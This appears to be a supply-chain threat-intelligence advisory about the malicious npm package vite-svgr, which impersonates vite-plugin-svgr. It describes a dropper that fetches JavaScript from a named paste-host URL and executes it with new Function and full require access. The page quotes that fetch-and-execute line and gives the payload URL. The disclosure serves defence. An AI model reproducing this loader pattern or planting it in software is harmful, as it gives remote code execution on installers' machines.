THREATPKG
SYNC STALE

Supply-chain threat intelligence

Incident detail

criticalnpm·malware·osv

Malicious code in vite-svgr (npm)

vite-svgr

Risk score

92

AI summary

Indexed incident for vite-svgr (npm).

Description

Package name vite-svgr impersonates the popular vite-plugin-svgr, but the shipped code is a fork of tsconfig-paths (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } }) and then runs the response body's Cookie field via new Function('require', s)(require) — arbitrary JavaScript with full Node require access executed under the installer's user. The code is reachable from the package's main via the exported configJson(...), which spawns node lib/mapProps.js detached, so any consumer that imports this package and calls configJson triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.

Technical details

Affected versions

=1.1.3=1.1.2

Indicators

  • affected version=1.1.375%
  • affected version=1.1.275%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents